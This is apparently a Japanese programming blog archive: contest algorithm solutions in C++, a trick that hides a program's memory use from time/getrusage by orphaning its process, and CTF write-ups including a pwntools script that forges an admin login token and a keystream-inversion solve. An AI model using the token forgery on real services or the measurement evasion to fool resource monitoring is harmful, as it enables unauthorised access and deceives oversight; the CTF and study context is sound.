TopCoder SRM 698 Div1 Medium: IntersectingConvexHull

,

https://community.topcoder.com/stat?c=problem_statement&pm=14357

見ためはやばそうだが解法を聞いてしまえば(理解できてなくても)実装は楽。 間違った認識のまま通してしまったので後から詰めた。 思い付けるかはかなり怪しいが。

problem

$2$次元平面上の点の集合$S$が与えられる。 点の集合$s \subseteq S$に対し$\mathrm{CH}(s)$をその凸包となる多角形とする。 $\# \{ (s_1, s_2) \mid s_1 \subseteq S \land s_2 \subseteq S \land s_1 \cap s_2 = \emptyset \land \mathrm{CH}(s_1) \cap \mathrm{CH}(s_1) \ne \emptyset \}$を$\bmod 10^9+7$で答えよ。

solution

補集合を数える。ふたつの凸包が交わらないとは間に線が引けることであり、そのような線は$2$点選んでその両方を通るものだけ考えればよい。$O(N^3)$。

$|s| \le 2$なら$\mathrm{CH}(s) = \emptyset$なので、$|s| \ge 3$のみ考えることとする。 全体集合は愚直に数えられる。

$2$点$i, j$を通るような直線を証拠に交わらない凸包を考える。 ふたつの真に交わらない凸包の共通内接線は(円と同様に)ちょうど$2$本であり要出典、今回は$3$頂点が同一直線上には来ないのでそれぞれの凸包からひとつずつ頂点を通る。 つまり頂点対を全列挙すれば、各凸包対$(s_1, s_2)$のその$2$つある共通内接線を両方列挙できる。 共通内接線が固定されれば、その両側から適当に点を取ってくればよい。

注意として、以下のように細部が面倒。テストを通るまで適当に$2$や$2^{-1}$を掛けることもできる。

  • 接線を構成するための頂点対$(u, v)$は$u \lt v$と$v \lt u$で同じものが$2$回
  • 接線によるひとつの分割につき頂点$(u, v)$を$u \in s_1 \land v \in s_2$と$v \in s_1 \land u \in s_2$で$2$倍
  • 凸包対$(s_1, s_2)$が条件を満たすなら凸包対$(s_2, s_1)$も条件を満たすので$2$倍
  • 凸包対$(s_1, s_2)$は共通内接線を$2$つ持つ

implementation

#include <bits/stdc++.h>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define repeat_from(i,m,n) for (int i = (m); (i) < (n); ++(i))
typedef long long ll;
using namespace std;
class IntersectingConvexHull { public: int count(vector<int> x, vector<int> y); };

constexpr int mod = 1e9+7;
int powmod(int x, int y) {
    assert (0 <= x and x < mod);
    assert (0 <= y);
    int z = 1;
    for (int i = 1; i <= y; i <<= 1) {
        if (y & i) z = z *(ll) x % mod;
        x = x *(ll) x % mod;
    }
    return z;
}
int inv(int x) {
    return powmod(x, mod-2);
}
int fact(int n) {
    static vector<int> memo(1,1);
    if (memo.size() <= n) {
        int l = memo.size();
        memo.resize(n+1);
        repeat_from (i,l,n+1) memo[i] = memo[i-1] *(ll) i % mod;
    }
    return memo[n];
}
int choose(int n, int r) { // O(n) at first time, otherwise O(1)
    if (n < r) return 0;
    r = min(r, n - r);
    return fact(n) *(ll) inv(fact(n-r)) % mod *(ll) inv(fact(r)) % mod;
}

int IntersectingConvexHull::count(vector<int> x, vector<int> y) {
    int n = x.size();
    ll cnt = 0;
    repeat (i,n) repeat (j,i) {
        int l = 0, r = 0;
        repeat (k,n) if (k != i and k != j) {
            int ay = y[j] - y[i];
            int ax = x[j] - x[i];
            int by = y[k] - y[i];
            int bx = x[k] - x[i];
            if (ax *(ll) by < ay *(ll) bx) {
                ++ l;
            } else {
                ++ r;
            }
        }
        int s1 = (powmod(2, l) - 1 - l + mod) % mod;
        int s2 = (powmod(2, r) - 1 - r + mod) % mod;
        cnt += s1 *(ll) s2 * 2 % mod;
    }
    cnt %= mod;
    ll total = 0;
    repeat_from (k1,3,n+1) {
        repeat_from (k2,3,n+1-k1) {
            total += choose(n, k1) *(ll) choose(n-k1, k2) % mod;
        }
    }
    total %= mod;
    return (total - cnt + mod) % mod;
}

getrusageによるメモリ使用量の計測をbypassしてみた

,

概要

time等で用いられるgetrusageRUSAGE_CHILDREN指定のとき範囲がprocess tree中の部分木なので、orphan processを作れば抜け出すことができる。

目的

以下のようなプログラムがあるとする。 $1$GBの空間を消費して何らかの計算を行うプログラムである。

#include <bits/stdc++.h>
using namespace std;
int main() {
    vector<char> a(1024*1024*1024, 'A');
    cout << "Hello, world!" << endl;
    return 0;
}

これを普通にtime下で実行すると以下のように$1$GB使用したと報告されてしまう。 これを回避し、ほとんどメモリを消費していないかのように偽装したい。

$ command time -f "%es %MKB" ./a.out
Hello, world!
0.69s 1000156KB

getrusage, process tree

linuxにおけるリソース計測には主にgetrusage syscallが用いられる。 wait3/wait4経由の場合も多い(例えばGNU timeではそのようだった)が挙動としては同じである。

getrusageの第$1$引数whoは主にRUSAGE_SELFRUSAGE_CHILDRENをとる。 RUSAGE_SELFが指定された場合は子processの使用リソースは計上されないため、単にforkすれば隠蔽できる。 一方でRUSAGE_CHILDRENが指定されている場合は単なるforkでは不十分。 対象processを根とするprocess tree上の部分木内の全てのprocess (pstreeを見よ)が計測範囲となるため。 つまり対象processのparent processを適当に付け替えればよい。 getppid syscallは存在するがsetppidは存在しないが、親processを殺して里親を得ることで実現できる。

手元の環境で実際に行ってprocess treeを見ると以下のようになる。 gnome-terminal下のzshから起動したsleepが、その部分木の外のupstartの直下に移動していることが分かる。

$ bash -c 'sleep 10 & kill $$' &

$ pstree | less
systemd-+-ModemManager-+-{gdbus}
        |              `-{gmain}
        |-NetworkManager-+-dhclient
        |                |-dnsmasq
        |                |-{gdbus}
        |                `-{gmain}
        .
        .
        .
        |-lightdm-+-Xorg---{Xorg}
        |         |-lightdm-+-upstart-+-at-spi-bus-laun-+-dbus-daemon
        |         |         |         |                 |-{dconf worker}
        |         |         |         |                 |-{gdbus}
        |         |         |         |-gnome-terminal--+-zsh-+-less
        |         |         |         |                 |     |-pstree
        |         |         |         |                 |     `-vim---vim
        .         .         .         .                 .
        .         .         .         .                 .
        .         .         .         .
        |         |         |         |-sleep
        .         .         .         .
        .         .         .         .
        .         .         .         .

結論

以下に相当する手順を踏んで呼び出せばよい。 return codeや邪魔な出力は別で適当にすること。

#!/bin/sh
bash -c '
    bash -c "
        sleep 0.1
        ./a.out
        kill -CONT '$$'
    " &
    kill $$
'
kill -STOP $$
$ command time -f "%es %MKB" ./a.sh
Hello, world!
0.24s 3304KB

上手く偽装できている。

ただし実際の使用量は変化しないことに注意。別な機構(例えばulimitなど)には補足されうる。


TopCoder SRM 699 Div1 Medium: FromToDivisible

,

https://community.topcoder.com/stat?c=problem_statement&pm=14387

problem

整数対の列$(a_1, b_1), (a_2, b_2), \dots, (a_m, b_m)$で説明される$N$頂点の有向グラフ$G$がある。 頂点は$1$から$N$までの番号が降られており、$\exists i. a_i \mid u \land b_i \mid v$であることと有向辺$u \to v$の存在が同値となっている。 $s \to t$最短路の長さを答えよ。

solution

クエリを頂点として$m+2$頂点の有向グラフを作る。$O(M^2)$

$s,t$とクエリ$(a_i, b_i)$に対応する頂点を用意する。 $N$頂点のグラフの上でクエリ$i$による辺の次にクエリ$j$による辺を使える(つまり$\mathrm{lcm}(b_i, a_j) \le n$)とき$m+2$頂点のグラフの上で辺$i \to j$を張るようにする。 $s, t$は適当にして、求めた距離から$1$引いたのが答え。

$\hat{3}= \{ 3k \le n \mid k \in \mathbb{N} \}$のような整数の集合を頂点としてもできそうだが、面倒になりそう。

implementation

#include <bits/stdc++.h>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
using namespace std;
class FromToDivisible { public: int shortest(int n, int s, int t, vector<int> const & a, vector<int> const & b); };

ll gcd(ll a, ll b) { while (a) { b %= a; swap(a, b); } return b; }
ll lcm(ll a, ll b) { return (a * b) / gcd(a,b); }
constexpr int inf = 1e9+7;
int FromToDivisible::shortest(int n, int s, int t, vector<int> const & a, vector<int> const & b) {
    int m = a.size();
    // construct graph
    vector<vector<int> > g(m + 2);
    const int src = m;
    const int dst = m+1;
    repeat (p,m) {
        repeat (q,m) {
            if (lcm(b[p], a[q]) <= n) {
                g[p].push_back(q);
            }
        }
        if (s % a[p] == 0) g[src].push_back(p);
        if (t % b[p] == 0) g[p].push_back(dst);
    }
    // bfs
    vector<int> dist(g.size(), inf);
    queue<int> que;
    dist[src] = 0;
    que.push(src);
    while (not que.empty()) {
        int i = que.front(); que.pop();
        for (int j : g[i]) {
            if (dist[i] + 1 < dist[j]) {
                dist[j] = dist[i] + 1;
                que.push(j);
            }
        }
    }
    return dist[dst] < inf ? dist[dst]-1 : -1;
}

Codeforces Round #406 (Div. 1): B - Legacy

,

http://codeforces.com/contest/786/problem/B

vector<vector<int, ll> >でグラフを取ってpriority_queue<pair<ll, int> >でdijkstraしたらtieするときに順序を間違えて時間を溶かした。

problem

以下からなるクエリ列で説明される有向グラフ$G$が与えられる。頂点$s$からの各頂点への距離を求めよ。

  1. 頂点$v, u$間にコスト$w$の辺$v \to u$がある
  2. 頂点$v$と区間$[l, r]$中の任意の頂点$u \in [l, r]$にコスト$w$の辺$v \to u$がある
  3. 頂点$v$と区間$[l, r]$中の任意の頂点$u \in [l, r]$にコスト$w$の辺$u \to v$がある

solution

グラフの頂点をsegment木で管理するテク。$E = Q \log N, \; V = N \log N$として$O(E \log V)$。

区間クエリが入るものと出るものの$2$種類あるので、segment木を$2$本立てて対応する葉は融合させる。 後はdijkstraすればよい。

konjoさんによる分かりやすい図: https://twitter.com/konjo_p/status/844958629392408576

implementation

よくあるテクそのままという感じだけど始めて書いた。 終了後のTLでは面倒実装なだけでつまらんとの不評が多かった。

#include <cstdio>
#include <vector>
#include <queue>
#include <tuple>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using ll = long long;
using namespace std;
constexpr ll inf = ll(1e18)+9;
int main() {
    // input
    int original_n, q, start; scanf("%d%d%d", &original_n, &q, &start); -- start;
    // prepare a graph
    int n = 1 << (32 - __builtin_clz(original_n - 1));
    vector<vector<pair<int, int> > > g(n + n-1 + n-1);
    const int src = n;
    const int dst = n + n-1;
    auto coalesce = [&](int i, int base) { assert (i < 2*n-1); return i < n-1 ? base + i : i - (n-1); };
    repeat (i,n-1) {
        int l = 2*i+1;
        int r = 2*i+2;
        g[src + i].emplace_back(coalesce(l, src), 0);
        g[src + i].emplace_back(coalesce(r, src), 0);
        g[coalesce(l, dst)].emplace_back(dst + i, 0);
        g[coalesce(r, dst)].emplace_back(dst + i, 0);
    }
    // add edges
    while (q --) {
        int type; scanf("%d", &type);
        if (type == 1) {
            int v, u, cost; scanf("%d%d%d", &v, &u, &cost); -- v; -- u;
            g[v].emplace_back(u, cost);
        } else if (type == 2) {
            int v, l, r, cost; scanf("%d%d%d%d", &v, &l, &r, &cost); -- v; -- l;
            for (l += n, r += n; l < r; l /= 2, r /= 2) {
                if (l % 2 == 1) g[v].emplace_back(coalesce((l ++) - 1, src), cost);
                if (r % 2 == 1) g[v].emplace_back(coalesce((-- r) - 1, src), cost);
            }
        } else if (type == 3) {
            int v, l, r, cost; scanf("%d%d%d%d", &v, &l, &r, &cost); -- v; -- l;
            for (l += n, r += n; l < r; l /= 2, r /= 2) {
                if (l % 2 == 1) g[coalesce((l ++) - 1, dst)].emplace_back(v, cost);
                if (r % 2 == 1) g[coalesce((-- r) - 1, dst)].emplace_back(v, cost);
            }
        }
    }
    // dijkstra
    vector<ll> dist(n + n-1 + n-1, inf);
    priority_queue<pair<ll, int> > que;
    dist[start] = 0;
    que.emplace(- dist[start], start);
    while (not que.empty()) {
        ll cost; int i; tie(cost, i) = que.top(); que.pop();
        if (dist[i] < - cost) continue;
        for (auto it : g[i]) {
            int j; ll delta; tie(j, delta) = it;
            if (- cost + delta < dist[j]) {
                dist[j] = - cost + delta;
                que.emplace(cost - delta, j);
            }
        }
    }
    // output
    repeat (i,original_n) {
        if (i) printf(" ");
        printf("%lld", dist[i] == inf ? -1 : dist[i]);
    }
    printf("\n");
    return 0;
}

Codeforces Round #406 (Div. 1): A. Berzerk

,

http://codeforces.com/contest/786/problem/A

solution

再帰的に埋めていく。$O(N^2)$。

手番が$y \in \{ \mathrm{First}, \mathrm{Second} \}$でモンスターが座標$x$にいるときの結果$f(y, x) \in \{ \mathrm{Win}, \mathrm{Lose}, \mathrm{Loop} \}$を更新していく。 $f(y, 1) \gets \mathrm{Lose}$から始めて、$\mathrm{Win}$/$\mathrm{Lose}$の確定したものを埋めていく。 $x = 1$以外の$\mathrm{Lose}$は、各座標に$\mathrm{Win}$に遷移する可能性が残っている$\delta_i \in s_y$の数のようなものを持たせておいて、それが$0$になったら$\mathrm{Lose}$に確定させるのがよい。

implementation

再帰でやるのが素直だが、なぜかqueueで書いていた。

#include <cstdio>
#include <vector>
#include <array>
#include <tuple>
#include <queue>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using namespace std;
int main() {
    // input
    int n; scanf("%d", &n);
    array<int, 2> k;
    array<vector<int>, 2> s;
    repeat (y,2) {
        scanf("%d", &k[y]);
        s[y].resize(k[y]);
        repeat (i,k[y]) scanf("%d", &s[y][i]);
    }
    // compute
    enum result_t { LOOP = 0, WIN = 1, LOSE = 2 };
    array<vector<result_t>, 2> result = {{ vector<result_t>(n, LOOP), vector<result_t>(n, LOOP) }};
    array<vector<int>, 2> cnt = {{ vector<int>(n, k[0]), vector<int>(n, k[1]) }};
    queue<pair<bool, int> > que;
    que.emplace(false, 0);
    que.emplace(true,  0);
    while (not que.empty()) {
        bool y; int x; tie(y, x) = que.front(); que.pop();
        assert (result[y][x] == LOOP);
        result[y][x] = LOSE;
        for (int d1 : s[not y]) {
            int nx = (x - d1 + n) % n;
            if (nx == 0) continue;
            if (result[not y][nx] == WIN) continue;
            assert (result[not y][nx] == LOOP);
            result[not y][nx] = WIN;
            for (int d2 : s[y]) {
                int nnx = (nx - d2 + n) % n;
                if (nnx == 0) continue;
                if (not -- cnt[y][nnx]) {
                    que.emplace(y, nnx);
                }
            }
        }
    }
    // output
    repeat (y,2) {
        repeat (x,n-1) {
            if (x) printf(" ");
            printf("%s", result[y][x+1] == WIN ? "Win" : result[y][x+1] == LOSE ? "Lose" : "Loop");
        }
        printf("\n");
    }
    return 0;
}

Codecraft-17 and Codeforces Round #391 (Div. 1 + Div. 2, combined): F - Team Rocket Rises Again

,

http://codeforces.com/contest/757/problem/F

大変疲れた。実装に苦労したわりになんとなくしか理解できてないのがつらい。 普通の用途にはboostのdominator tree使うべきですね。

problem

連結とは限らない無向グラフ$G$と頂点$s \in G’$が与えられる。 $G’$の$s$を含む連結成分を$G$とする。 $G$の各頂点$v \in G$に対し$s$からの最短距離を$d(v)$とする。 $G$からある頂点$w \ne s$とその接続辺を除去したグラフ$G \setminus \{ w \}$上でも同様に関数$d_w(v)$を定める。 ただし$w$を含む到達不能な頂点$v$に対する値は$\infty$とする。 $\max \{ \#\{ v \in G \mid d(v) \ne d_w(v) \} \mid w \ne s \}$を答えよ。

solution

dominator treeを構築しその真部分木の大きさの最大のものを答える。準線形時間。

dominator treeの実装にはDominator Tree - sigma425のブログを見て。

implementation

#include <cstdio>
#include <vector>
#include <algorithm>
#include <numeric>
#include <queue>
#include <tuple>
#include <functional>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_from(i,m,n) for (int i = (m); (i) < int(n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using ll = long long;
using namespace std;
template <class T> inline void setmin(T & a, T const & b) { a = min(a, b); }
constexpr ll inf = ll(1e18)+9;

// http://sigma425.hatenablog.com/entry/2015/12/25/224053
vector<int> dominator_tree(vector<vector<int> > const & g, int root_g) { // G is a digraph which any vertex can be reached from the root
    int n = g.size();
    vector<vector<int> > invert_g(n);
    repeat (i,n) for (int j : g[i]) invert_g[j].push_back(i);
    // 1. make dfs tree
    vector<int> to_rank(n, -1); // index on original digraph G -> index on dfs-tree T
    vector<int> from_rank(n);
    vector<int> parent(n, -1); // on dfs-tree T, indexed on G
    { // init
        int next_rank = 0;
        function<void (int)> dfs = [&](int i) {
            to_rank[i] = next_rank;
            from_rank[next_rank] = i;
            ++ next_rank;
            for (int j : g[i]) if (to_rank[j] == -1) {
                parent[j] = i;
                dfs(j);
            }
        };
        dfs(root_g);
    }
    // x. check connectivity
    repeat (i,n) assert (to_rank[i] != -1); // or disconnected graph
    // 2. compute sdom
    vector<int> sdom(n);
    repeat (i,n) sdom[i] = to_rank[i];
    vector<int> foo(n, -1); // vertex, used in 3.
    // 2.1. union-find tree
    vector<int> root(n); whole(iota, root, 0);
    vector<int> min_sdom_index(n); whole(iota, min_sdom_index, 0); // data on union-find tree
    function<int (int)> find = [&](int i) {
        if (root[i] == i) return i;
        int j = find(root[i]);
        if (sdom[min_sdom_index[root[i]]] < sdom[min_sdom_index[i]]) {
            min_sdom_index[i] = min_sdom_index[root[i]];
        }
        return root[i] = j;
    };
    auto link = [&](int i, int j) {
        assert (root[j] == j);
        root[j] = i;
    };
    vector<vector<int> > bucket(n);
    for (int rank_i = n-1; rank_i >= 1; -- rank_i) {
        // 2.2. compute sdom
        int i = from_rank[rank_i];
        for (int j : invert_g[i]) {
            // int rank_j = to_rank[j];
            // if (rank_j < rank_i) { // up
            //     setmin(sdom[i], rank_j);
            // }
            find(j);
            setmin(sdom[i], sdom[min_sdom_index[j]]);
        }
        // 2.3. compute foo
        bucket[from_rank[sdom[i]]].push_back(i);
        for (int j : bucket[parent[i]]) {
            find(j);
            foo[j] = min_sdom_index[j];
        }
        bucket[parent[i]] = vector<int>(); // clear
        // 2.4. link
        link(parent[i], i);
    }
    // 3. compute idom
    vector<int> idom(n);
    repeat_from (rank_i,1,n) {
        int i = from_rank[rank_i];
        int j = foo[i];
        idom[i] = (sdom[i] == sdom[j] ? sdom : idom)[j];
    }
    vector<int> result(n);
    repeat (i,n) if (i != root_g) {
        result[i] = from_rank[idom[i]];
    }
    result[root_g] = -1;
    return result;
}

int main() {
    // input
    int n, m, start; scanf("%d%d%d", &n, &m, &start); -- start;
    assert (2 <= n and n <= 200000);
    assert (1 <= m and m <= min<ll>(n*ll(n-1)/2, 300000));
    assert (0 <= start and start < n);
    vector<vector<pair<int, ll> > > g(n);
    repeat (i,m) {
        int u, v, w; scanf("%d%d%d", &u, &v, &w); -- u; -- v;
        assert (0 <= u and u < n);
        assert (0 <= v and u < n);
        assert (1 <= w and w <= 1000000000);
        g[u].emplace_back(v, w);
        g[v].emplace_back(u, w);
    }
    // compute distance
    vector<ll> dist(n, inf); {
        vector<bool> used(n);
        priority_queue<pair<ll, int> > que;
        dist[start] = 0;
        que.emplace(- dist[start], start);
        while (not que.empty()) {
            int i = que.top().second; que.pop();
            if (used[i]) continue;
            used[i] = true;
            for (auto it : g[i]) {
                int j; ll cost; tie(j, cost) = it;
                if (dist[i] + cost >= dist[j]) continue;
                dist[j] = dist[i] + cost;
                que.emplace(- dist[j], j);
            }
        }
    }
    // make connective
    repeat (i,n) if (dist[i] == inf) {
        g[start].emplace_back(i, inf);
    }
    // make the digraph with edges for shortest paths
    vector<vector<int> > h(n);
    repeat (i,n) {
        for (auto it : g[i]) {
            int j; ll cost; tie(j, cost) = it;
            if (dist[i] + cost == dist[j]) {
                h[i].push_back(j);
            }
        }
    }
    // dominate it
    vector<int> idom = dominator_tree(h, start);
    // compute subtree sizes
    vector<vector<int> > t(n);
    repeat (i,n) if (i != start) t[idom[i]].push_back(i);
    vector<int> size(n); {
        function<int (int, int)> dfs = [&](int i, int parent) {
            for (int j : t[i]) {
                size[i] += dfs(j, i);
            }
            return size[i] += 1;
        };
        dfs(start, -1);
    }
    // make result
    repeat (i,n) if (dist[i] == inf) {
        size[i] = 0;
    }
    size[start] = 0;
    int result = *whole(max_element, size);
    // output
    printf("%d\n", result);
    return 0;
}

0ctf 2017: integrity

,

problem

user名を渡すとtokenが帰ってきて、そのtokenを渡すとそのuser名でloginできる。 adminのtokenは要求しても弾かれるが、なんとかしてadminとしてloginする問題。

鯖のコードは与えられる。

$ nc 202.120.7.217 8221
Welcome to 0CTF encryption service!
Please [r]egister or [l]ogin
r
foo
Here is your secret:
b628cd3ad03bfbc19118f25ab2afa88cd9bf56fbc52c67dfe68d13422bcadbee144a2878139d901d086557b206906c9b
Please [r]egister or [l]ogin
l
b628cd3ad03bfbc19118f25ab2afa88cd9bf56fbc52c67dfe68d13422bcadbee144a2878139d901d086557b206906c9b
Welcome foo!
Please [r]egister or [l]ogin
r
admin
You cannot use this name!

solution

md5(pad("admin")) + pad("admin")を投げて先頭$1$blockを削って投げ返すだけ。

読むと主に以下が分かる。

  • tokenの先頭にivが付与されている
  • decrypt後の先頭blockが残りの部分のmd5sumでなければならない

ここでWikipediaにある以下の図を眺めれば分かる。

implementation

#!/usr/bin/env python2
from hashlib import md5

from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='202.120.7.217')
parser.add_argument('port', nargs='?', default=8221, type=int)
parser.add_argument('--log-level', default='debug')
args = parser.parse_args()
context.log_level = args.log_level

p = remote(args.host, args.port)
def register(name):
    p.recvuntil('Please [r]egister or [l]ogin\n')
    p.sendline('r')
    p.sendline(name)
    p.recvuntil('Here is your secret:\n')
    secret = p.recvline(keepends=False)
    log.info('register %s: %s', name, secret)
    return secret
def login(secret):
    p.recvuntil('Please [r]egister or [l]ogin\n')
    p.sendline('l')
    p.sendline(secret)
    p.recvuntil('Welcome admin!\n')
    flag = p.recvline(keepends=False)
    log.info('flag: %s', flag)

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
chunk = lambda s, l: [ s[i : i+l] for i in range(0, len(s), l) ]

data = pad('admin')
checksum = md5(data).digest()
secret = register(checksum + data)
_, pseudo_iv, a, b = chunk(secret, 2*BS)
payload = ''.join([ pseudo_iv, a, b ])

login(payload)
$ ./a.py
[+] Opening connection to 202.120.7.217 on port 8221: Done
[DEBUG] Received 0x23 bytes:
    'Welcome to 0CTF encryption service!'
[DEBUG] Received 0x1e bytes:
    '\n'
    'Please [r]egister or [l]ogin\n'
[DEBUG] Sent 0x2 bytes:
    'r\n'
[DEBUG] Sent 0x21 bytes:
    00000000  21 8e 2a b7  9d 1e f7 18  cc 84 a4 72  45 0b a8 8f  │!·*·│····│···r│E···│
    00000010  61 64 6d 69  6e 0b 0b 0b  0b 0b 0b 0b  0b 0b 0b 0b  │admi│n···│····│····│
    00000020  0a                                                  │·│
    00000021
[DEBUG] Received 0x14 bytes:
    'Here is your secret:'
[DEBUG] Received 0x9f bytes:
    '\n'
    '01724b88b08e1e9ac9888f6be04e63c96309faf3e3ddad4833e2464a3e206fc7df3cbd50bed9474075ffedad1515d78a433ff5c3e4a8c889588cb52ac3736272\n'
    'Please [r]egister or [l]ogin\n'
[*] register !\x8e*\xb7\x9d\x1e�̄\xa4rE\x0b\xa8\x8fadmin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b: 01724b88b08e1e9ac9888f6be04e63c96309faf3e3ddad4833e2464a3e206fc7df3cbd50bed9474075ffedad1515d78a433ff5c3e4a8c889588cb52ac3736272
[DEBUG] Sent 0x2 bytes:
    'l\n'
[DEBUG] Sent 0x61 bytes:
    '6309faf3e3ddad4833e2464a3e206fc7df3cbd50bed9474075ffedad1515d78a433ff5c3e4a8c889588cb52ac3736272\n'
[DEBUG] Received 0xe bytes:
    'Welcome admin!'
[DEBUG] Received 0x53 bytes:
    '\n'
    'flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}\n'
    '\n'
    'Please [r]egister or [l]ogin\n'
[*] flag: flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}
[*] Closed connection to 202.120.7.217 port 8221

0ctf 2017: oneTimePad

,

solution

線形性に気付いて復元。

generator.next() の$2,3$回目の出力は分かるので、$1$回目の出力を求めればよい。 seed, keyと$2$変数あるので、process(m, k)の逆関数を書くことになる。

ここでprocessは以下のような性質を持つ。

  • process(tmp=m ^ k) という$1$変数関数と見做してよい
  • 線形性: process(x) ^ process(y) == process(x ^ y)

この線形性により、processの逆関数x = invert(y)はそのyを$0$にするように掃き出し法やLights Out風の探索で実装できる。

implementation

#!/usr/bin/env python2
from os import urandom
def str2num(s):
    return int(s.encode('hex'), 16)
def num2str(n):
    return hex(n)[2:].rstrip('L').decode('hex')

ctxt1 = 0xaf3fcc28377e7e983355096fd4f635856df82bbab61d2c50892d9ee5d913a07f
ctxt2 = 0x630eb4dce274d29a16f86940f2f35253477665949170ed9e8c9e828794b5543c
ctxt3 = 0xe913db07cbe4f433c7cdeaac549757d23651ebdccf69d7fbdfd5dc2829334d1b
fake_secret1 = 'I_am_not_a_secret_so_you_know_me'
fake_secret2 = 'feeddeadbeefcafefeeddeadbeefcafe'
generator2 = ctxt2 ^ str2num(fake_secret1)
generator3 = ctxt3 ^ str2num(fake_secret2)
assert generator2 == 0x2a51d5b1bd1abdee4999363397902036332916fbce0982ebd3f5ece8e3ea3959
assert generator3 == 0x8f76be63af819557a5a88fca37f631b750348eb8ab0cb69fbdb0b94e4a522b7e

P = (1 << 256) + 0x425
def process(x):
    assert (1 << 256) > x
    y = 0
    for i in bin(x)[2:]:
        y <<= 1
        if int(i):
            y ^= x
        if y >> 256:
            y ^= P
    return y

import random
for _ in range(1000):
    x = random.randrange(1 << 256)
    y = random.randrange(1 << 256)
    assert process(x) ^ process(y) == process(x ^ y)

def ilog2(n):
    if n == 0:
        return -1
    return len(bin(n)) - 3
table = [ list() for _ in range(256) ]
for i in range(256):
    proc_i = process(1 << i)
    table[ilog2(proc_i)] += [( 1 << i, proc_i )]
for i in reversed(list(range(256))):
    table[i] = sorted(list(set(table[i])))
    for j, proc_j in table[i]:
        for k, proc_k in table[i]:
            jk = j ^ k
            proc_jk = proc_j ^ proc_k
            if proc_jk == 0:
                continue
            table[ilog2(proc_jk)] += [( jk, proc_jk )]
def recur(y, i):
    if i == -1:
        if y == 0:
            return 0
        else:
            return
    else:
        if y & (1 << i):
            for j, proc_j in table[i]:
                x = recur(y ^ proc_j, i-1)
                if x is not None:
                    return x ^ j
        else:
            return recur(y, i-1)
def unprocess(y):
    return recur(y, 255)

seed = unprocess(generator3) ^ generator2
generator1 = unprocess(generator2) ^ seed
true_secret = generator1 ^ ctxt1
print(repr('flag{' + num2str(true_secret) + '}'))

EasyCTF 2017: A-maze-ing

,

なぜかflag提出の結果が帰ってくるのがすごく遅いのに、こういう問題を出してくるのはすごいですね。

problem

迷路があるのでそのスタートからゴールへの道筋を答えよ。 上下左右の移動をi k j l (vim風だがhは使わないやつ)で示してflag{ }で囲んで提出せよ。

(問題文はだいたい上みたいなもの。肝心の迷路は与えられない)

solution

flag: easyctf{kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk}

何を投げてもflagが外れだったときのメッセージで The maze is longer than that. って言われる。 他の問題だと Nope. と言われるので怪しい。 そこで適当に長いflagを提出してみたら You guessed right! と通った。


EasyCTF 2017: other problems

,

https://ctftime.org/event/441

A-maze-ingという問題だけは面白かったので別のページに切り出しました。それ以外はそうでもなかったのでまとめた。

solutions

Web Tunnel

QR code読み取り自動化chal

QR code (png) を読むとurlが書かれてて、別の同様なQR code画像に繋がる

s=DaicO7460493nYSuvLPW ; while [[ "$s" =~ "^[0-9A-Za-z]+$" ]] ; do wget --no-clobber http://tunnel.web.easyctf.com/images/"$s".png ; s="$(zbarimg --raw "$s".png)" ; done ; echo $s

easyctf{y0u_sh0uld_b3_t1r3d_tr4v3ll1ng_all_th1s_w4y!!!!!}

ファイル多すぎない???

$ ls
03OcHJ22vE0NsTj0dUgq.png  77YP4bYAIuYbX8lN3wFy.png  CvPzwWX44CzoAsBozAHs.png  HVILmfOfhQONxZyrUz0K.png  mCRe6xbaf0uzl0aUXKZR.png  RkKZcdpjI0nML4rZJvCr.png  w1zdPRn1bcOYdE8ipkmz.png
0GW8daKCRseAtZouyY0Q.png  79J5QShJpXQCPPBzlFeT.png  CwncuJ0I7LFq0JlbDluP.png  HXxsvvtTXM6ei6AA1owM.png  mfvkWJCWTB1xgUIgnrXt.png  roI8xz7svbrGy8Zm3FMI.png  w4uiEZl7NAfuGzjRyWIj.png
0M89gDq06RlEAiyQC51i.png  7cEyTeq9RcLM6awdOEVo.png  cwUyDtt9au4Nm6eXbbEk.png  hY4JNv8ly7iHTOBXFnPz.png  MHv6StrgS5ptP8ZcbJcx.png  Rp4HnXKCBDDFU7paQbMX.png  w5oUznaLCLOoNgrTtSFL.png
0N4UxXvSQIc02pMpb6Ua.png  7G7Uet0DN09GeXd1Htjk.png  CYQMrzR0f7zfekfJpPho.png  HYxixEDkamnwfT7GOaZL.png  MJveDKbGqSWnBeMhyzgm.png  RPl7Eo0VNqIVvl2n94Im.png  wbfGYgyGlNftbhMkAklR.png
0OWIX0VmJSLbHRztJEn4.png  7iisCuZe1hfzkF9ojudi.png  CZwk49wwQDIsL5rzUWUO.png  Hz02Tyiq33nnPJSmDcbh.png  mkUglONCVi9braJplzg6.png  RpOGv5PBawva9sEiHEoi.png  WcctmN8nBkYkR9yNtDRz.png
0tUI3UgEcpduOKFik1Fo.png  7KgamvoOnrya4XGawcb8.png  d6zxEOOtA9xvhj7LZ051.png  HzBbyOPcjwPRnVQqS1Vn.png  mLZAecbxOBlsGB2tt2Mi.png  rQPZ5RbGP6HMfpmpYZ7r.png  wfWMkWs7yuDxHSHTwk9c.png
0xvstUXqThgkUKTWr7vb.png  7SVxhQF50QU8ndE0e8t7.png  DaicO7460493nYSuvLPW.png  I3tnN3iUqCNobYACYG70.png  mnhtcQCX77siwa10uEpa.png  RSAL6SeDvubgBNHZ9WF3.png  wHdZxaVvktOSOka0cwbW.png
